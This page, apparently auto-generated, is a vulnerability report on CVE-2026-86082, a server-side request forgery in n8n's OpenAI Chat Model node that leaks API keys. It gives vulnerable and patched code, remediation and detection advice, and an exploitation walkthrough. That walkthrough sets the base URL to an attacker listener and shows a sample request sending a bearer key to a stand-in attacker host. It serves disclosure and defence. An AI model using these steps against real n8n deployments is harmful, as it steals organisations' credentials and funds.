CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-86082

CVE-2026-86082: Server-Side Request Forgery and Credential Leakage in n8n OpenAI Chat Model Node

Alon Barad
Alon Barad
Software Engineer

Sep 10, 2026·8 min read·4 visits

Executive Summary (TL;DR)

An authenticated workflow editor can bypass credential domain restrictions in n8n's OpenAI Chat Model node, causing the backend to send plaintext OpenAI API keys to an arbitrary server during dynamic model search.

CVE-2026-86082 is a critical Server-Side Request Forgery (SSRF) and credential leakage vulnerability in n8n. The flaw exists in the OpenAI Chat Model node's searchModels function, which fails to enforce credential domain restrictions when populating the model dropdown list. This allows an authenticated workflow editor to exfiltrate plaintext OpenAI API keys to an arbitrary attacker-controlled domain by specifying a custom baseURL override.

Vulnerability Overview

The vulnerability designated as CVE-2026-86082 (GHSA-34ff-336r-5q23) is a severe credential exfiltration and server-side request forgery (SSRF) flaw in the core architecture of the n8n workflow automation engine. The platform is designed to execute multi-node integrations, often linking high-privilege third-party APIs (such as OpenAI, AWS, and Slack) into customized logical sequences. Because these nodes regularly utilize sensitive API keys and access tokens, n8n incorporates robust internal credential-storage and validation modules to restrict data access.\n\nIn n8n, credentials can be assigned restricted operational policies, including "Allowed Domains" restrictions. This function ensures that even if lower-privileged users, like Workflow Editors, can configure workflows using these shared credentials, they are strictly prevented from redirecting the authentication payloads to malicious or unvetted hosts. Under normal conditions, anytime a node executes a task or interacts with an external service, the platform invokes runtime validators to verify the target domain.\n\nHowever, a critical security discrepancy was discovered in the OpenAI Chat Model node within the n8n Langchain ecosystem. The endpoint designed to dynamically search and list available OpenAI chat models did not execute validation checks. This gap in security controls exposed an direct out-of-band exfiltration vector. An authenticated attacker possessing only Workflow Editor privileges can manipulate node configuration fields to bypass credential restriction controls and route decrypted, plaintext API keys directly to an attacker-controlled external host.

Root Cause Analysis

To fully comprehend the root cause of CVE-2026-86082, one must analyze how n8n manages dynamic user interface elements. When a user is configuring nodes in the n8n visual editor, the web UI dynamically queries the backend to populate configuration helpers, such as model selection dropdown menus. These queries are routed through internal endpoint handlers on the backend server that fetch metadata from the respective third-party service provider on behalf of the client.\n\nIn the OpenAI Chat Model integration, this dynamic query behavior is governed by the searchModels function located in the source file packages/@n8n/nodes-langchain/nodes/llms/LMChatOpenAi/methods/loadModels.ts. Within this component, n8n permits users to define a custom base URL override via the advanced configuration option options.baseURL. This override accommodates scenarios where organizations route their OpenAI API requests through internal corporate proxies, specialized reverse proxies, or local mock environments.\n\nPrior to the application of the official security patch, the searchModels function retrieved the stored openAiApi credentials and processed the options.baseURL property directly from the user's interface input. The implementation failed to execute any domain-restriction logic or security assertions on the value of options.baseURL. The function immediately routed the decrypted credentials, including the raw API key and custom header metadata, to the unvalidated host specified in the baseURL property.\n\nBy omitting the verification steps, the backend server initiated a direct outbound HTTP client request to the attacker's arbitrary destination. Because the backend environment is responsible for decrypting the credentials and establishing the outbound connection, the attacker is able to intercept the raw API keys in transit on their custom server, effectively neutralizing the safety constraints implemented in the core credential management framework.

Code Analysis

A thorough comparative review of the vulnerable and patched source code paths illustrates how the vulnerability was introduced and subsequently mitigated. In the vulnerable version of loadModels.ts, the searchModels method processed user parameters and credential values without performing defensive validation, as shown in the following source code block:\n\ntypescript\n// VULNERABLE CODE PATH\nexport async function searchModels(\n\tthis: ILoadOptionsFunctions,\n\tfilter?: string,\n): Promise<INodeListSearchResult> {\n\tconst credentials = await this.getCredentials('openAiApi');\n\tconst baseUrlOverride = this.getNodeParameter('options.baseURL', '') as string;\n \n\t// OMISSION: No verification of baseUrlOverride against credential restrictions\n\tconst baseURL = baseUrlOverride || (credentials.url as string) || 'https://api.openai.com/v1';\n\tconst { openAiDefaultHeaders } = Container.get(AiConfig);\n\tconst lookup = this.helpers.getSecureEgressFilter().createSecureLookup();\n\tconst headers = mergeCustomHeaders(credentials, openAiDefaultHeaders ?? {});\n\n\t// Outbound request carries plaintext apiKey to the unvalidated baseURL\n\tconst models = await listOpenAiModels({\n\t\tapiKey: credentials.apiKey as string,\n\t\tbaseURL,\n\t\theaders,\n\t\tfetch: async (input, init) => await proxyFetch({ input, init, lookup }),\n\t});\n\t// ...\n}\n\n\nTo resolve this vulnerability, n8n-io engineers integrated the security utility assertOpenAiCredentialAllowsUrl within the searchModels function. This utility explicitly verifies the baseUrlOverride value before any HTTP requests are scheduled, throwing a validation error and halting execution if the domain is unauthorized. The patched code is structured as follows:\n\ntypescript\n// PATCHED CODE PATH\nimport { assertOpenAiCredentialAllowsUrl } from '../../../vendors/OpenAi/helpers/credentials';\n\nexport async function searchModels(\n\tthis: ILoadOptionsFunctions,\n\tfilter?: string,\n): Promise<INodeListSearchResult> {\n\tconst credentials = await this.getCredentials('openAiApi');\n\tconst baseUrlOverride = this.getNodeParameter('options.baseURL', '') as string;\n \n\t// PATCH: Asserts that the credentials explicitly allow the overridden URL\n\tif (baseUrlOverride) {\n\t\tassertOpenAiCredentialAllowsUrl(this.getNode(), credentials, baseUrlOverride);\n\t}\n \n\tconst baseURL = baseUrlOverride || (credentials.url as string) || 'https://api.openai.com/v1';\n\tconst { openAiDefaultHeaders } = Container.get(AiConfig);\n\tconst lookup = this.helpers.getSecureEgressFilter().createSecureLookup();\n\tconst headers = mergeCustomHeaders(credentials, openAiDefaultHeaders ?? {});\n\n\tconst models = await listOpenAiModels({\n\t\tapiKey: credentials.apiKey as string,\n\t\tbaseURL,\n\t\theaders,\n\t\tfetch: async (input, init) => await proxyFetch({ input, init, lookup }),\n\t});\n\t// ...\n}\n\n\nThe assertion utility assertOpenAiCredentialAllowsUrl is defined in packages/@n8n/nodes-langchain/nodes/vendors/OpenAi/helpers/credentials.ts. It invokes assertCredentialAllowsUrl from the core framework to ensure the user-defined domain matches either the default OpenAI endpoint or the domain specified on the credential, offering comprehensive coverage against the exfiltration vector.

Exploitation Methodology

Exploitation of CVE-2026-86082 relies on access to the n8n application UI with a minimum permission level of Workflow Editor. The attacker must first set up a public-facing web listener, such as a cloud virtual machine running a basic netcat process or a webhook logging platform, capable of capturing raw incoming HTTP connection details.\n\nOnce the listener is active, the attacker logs into the targeted n8n dashboard and adds an OpenAI Chat Model node to any active workflow canvas. The attacker selects a shared OpenAI credential configured in the workspace, which may have been locked down with domain restrictions to prevent abuse. By enabling the custom Base URL parameter (options.baseURL) and setting it to point directly to their external logging service, the attacker configures the payload target.\n\nTo execute the exploit, the attacker triggers the dropdown search for models within the UI. The backend immediately processes the request, decrypts the OpenAI API token, bypasses the domain validation, and makes a server-to-server request. An example of the incoming request logged on the attacker's server illustrates the plaintext leak of the API key:\n\nhttp\nGET /models HTTP/1.1\nHost: attacker-controlled-host.com\nAuthorization: Bearer sk-proj-ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\nUser-Agent: axios/1.x\nAccept: application/json, text/plain, */*\nConnection: close\n\n\nmermaid\ngraph LR\n Attacker["Attacker (Workflow Editor)"] -->|1. Configures baseURL Override| UI["n8n UI Node Editor"]\n Attacker -->|2. Triggers Model Selection| UI\n UI -->|3. POST /api/v1/nodes/node-type-search/options| Backend["n8n Backend Server"]\n Backend -->|4. Decrypts OpenAI Credential| Backend\n Backend -->|5. Skips Domain Verification Checks| Backend\n Backend -->|6. Outbound HTTP GET with plain API Key| Listener["Attacker HTTP Listener"]\n\n\nBecause the request originates directly from the n8n host server, it bypasses network constraints that would otherwise block the client-side system from communicating directly with unknown hosts, maximizing the reliability of the exfiltration.

Impact Assessment

The security impact of CVE-2026-86082 is significant because it directly exposes high-value credentials that are designed to be kept securely isolated. In typical deployment architectures, OpenAI API keys are linked to organizational developer accounts containing financial backing and potentially access to proprietary or sensitive model configurations. Exposure of these keys gives attackers immediate access to the organization's LLM budget, enabling resource exhaustion and financial theft.\n\nFurthermore, depending on the scope of the exposed OpenAI API key, an attacker may be able to read fine-tuned models, download corporate dataset files stored within the OpenAI workspace, or poison training pipelines. Because the platform executes workflows on a server-side basis, the outbound SSRF request also allows the attacker to conduct internal network mapping or interact with local services running within the target network that are inaccessible from the external internet.\n\nUnder the CVSS v4.0 evaluation framework, the vulnerability achieves a Base Score of 7.1. The attack vector is Network, complexity is Low, and the privileges required are Low, as any user with workflow configuration capabilities can leverage the flaw. Because the system's confidentiality is completely compromised with respect to the configured credential, the vulnerability represents a notable risk for organizations with distributed or multi-tenant n8n installations.

Remediation and Mitigation

The primary remediation method is to upgrade the n8n platform to one of the patched releases. The vendor has addressed the vulnerability in multiple version streams to accommodate different deployment lifecycles. Organizations must transition to version 1.123.76, 2.37.7, or 2.38.2 or higher.\n\nIf upgrading cannot be completed immediately, organizations should implement strict egress firewall policies at the network level. Restrict outbound traffic from the n8n application host or container, permitting connections only to authorized domains such as api.openai.com and other validated automation partners. Any connection attempts to arbitrary external IP addresses or domains on port 80 or 443 should be blocked and logged for security review.\n\nAdditionally, security teams should implement detection mechanisms to identify potential exploitation attempts. Monitor application access logs for endpoint calls to /api/v1/nodes/node-type-search/options and cross-reference them with changes to workflow configurations containing custom base URLs. If unauthorized base URL overrides are discovered, the associated OpenAI credentials should be revoked immediately in the OpenAI API portal and replaced with fresh tokens after applying the system update.

Official Patches

n8n-ioOfficial Security Advisory
n8n-ioRelease Notes for n8n 1.123.76
n8n-ioRelease Notes for n8n 2.37.7
n8n-ioRelease Notes for n8n 2.38.2

Fix Analysis (3)

Technical Appendix

CVSS Score
7.1/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
EPSS Probability
0.25%
Top 84% most exploited

Affected Systems

n8nn8n-nodes-langchain

Affected Versions Detail

Product
Affected Versions
Fixed Version
n8n
n8n-io
< 1.123.761.123.76
n8n
n8n-io
>= 2.0.0, < 2.37.72.37.7
n8n
n8n-io
>= 2.38.0, < 2.38.22.38.2
AttributeDetail
CWE IDCWE-918
Attack VectorNetwork
CVSS Score7.1 (High)
Exploit StatusProof of Concept (PoC) documented
CISA KEV StatusNot Listed
EPSS Score0.00246 (Percentile: 15.84%)
ImpactPlaintext Credential Leakage / Server-Side Request Forgery (SSRF)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1005Data from Local System
Collection
CWE-918
Server-Side Request Forgery (SSRF)

The web application receives a URL or similar vector from an upstream component and does not fully validate this target before dispatching an outbound request, leading to potential access bypass or credential exposure.

Known Exploits & Detection

GitHub Security AdvisoryAdvisory documenting vulnerability mechanics, reproduction steps, and exploit details.

Vulnerability Timeline

Fix implemented in release versions 1.123.76, 2.37.7, and 2.38.2
2026-09-02
GitHub Advisory GHSA-34ff-336r-5q23 published
2026-09-02
CVE-2026-86082 officially published and registered
2026-09-08

References & Sources

  • [1]n8n Security Advisory GHSA-34ff-336r-5q23
  • [2]Fix Commit - cbee391326797c19a2593934063311fed6131e07
  • [3]Fix Commit - 2a4ca7868dc75edca4c575d6507021e1e6b0ec90
  • [4]Fix Commit - 7bd63f41c2f1f2bc2576c0728dbe2e68ed61e0f1

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•34 minutes ago•CVE-2026-86075
8.7

CVE-2026-86075: Unauthenticated Persistent Storage Exhaustion via OAuth Dynamic Client Registration Endpoint in n8n

In vulnerable configurations of n8n, the OAuth Dynamic Client Registration endpoint implements field size validation for redirect_uris but fails to enforce proper limits on client_name and grant_types. This allows an unauthenticated remote attacker to submit arbitrarily large values for these fields, leading to persistent database and disk storage exhaustion.

Alon Barad
Alon Barad
0 views•5 min read
•about 2 hours ago•CVE-2026-86081
7.1

CVE-2026-86081: Regular Expression Denial of Service in n8n Git Node

A Regular Expression Denial of Service (ReDoS) vulnerability exists in n8n due to inefficient validation in its default blocked-file-pattern matching mechanism. This flaw can be triggered during Git operations, allowing authenticated workflow editors to cause resource exhaustion and completely freeze the n8n application process.

Amit Schendel
Amit Schendel
1 views•5 min read
•about 2 hours ago•CVE-2025-21587
7.4

CVE-2025-21587: Timing Side-Channel Vulnerability in JSSE RSA Decryption

CVE-2025-21587 is a high-severity timing side-channel vulnerability in the Java Secure Socket Extension (JSSE) component of Oracle Java SE and GraalVM. The flaw allows unauthenticated network attackers to perform Bleichenbacher-style (Marvin) decryption oracle attacks, potentially compromising TLS session confidentiality.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 14 hours ago•GHSA-HXJG-93WC-H8P8
8.8

GHSA-hxjg-93wc-h8p8: Cross-Site Request Forgery in Komari Management Interface

A high-severity Cross-Site Request Forgery (CSRF) vulnerability exists in the Komari server monitoring tool. The administrative interface sets authentication cookies without restrictive SameSite or Secure attributes, and lacks any CSRF validation, enabling unauthenticated remote attackers to execute arbitrary commands or modify backend settings by exploiting administrative sessions.

Alon Barad
Alon Barad
6 views•5 min read
•about 17 hours ago•CVE-2026-88002
6.5

CVE-2026-88002: Infinite Loop Denial of Service in Open WebUI Chat History Reconstruction

An infinite loop vulnerability (CWE-835) in Open WebUI versions 0.5.0 through 0.11.0 allows authenticated attackers to cause a complete and persistent Denial of Service (DoS) of the backend. By submitting a specially crafted chat history containing cyclic message references that omit internal message identifiers, the cycle detection mechanism is bypassed. This triggers an infinite synchronous traversal that blocks the single-threaded asyncio event loop and exhausts system memory, causing the application to crash.

Alon Barad
Alon Barad
6 views•7 min read
•about 18 hours ago•CVE-2026-88001
5.0

CVE-2026-88001: Server-Side Request Forgery via Redirect Bypass in Open WebUI

Server-Side Request Forgery (SSRF) vulnerability in Open WebUI (v0.9.5 to v0.11.1) allows authenticated users to bypass private IP and host filter lists by abusing HTTP redirect handling or using IP literals with the aiohttp client.

Alon Barad
Alon Barad
7 views•7 min read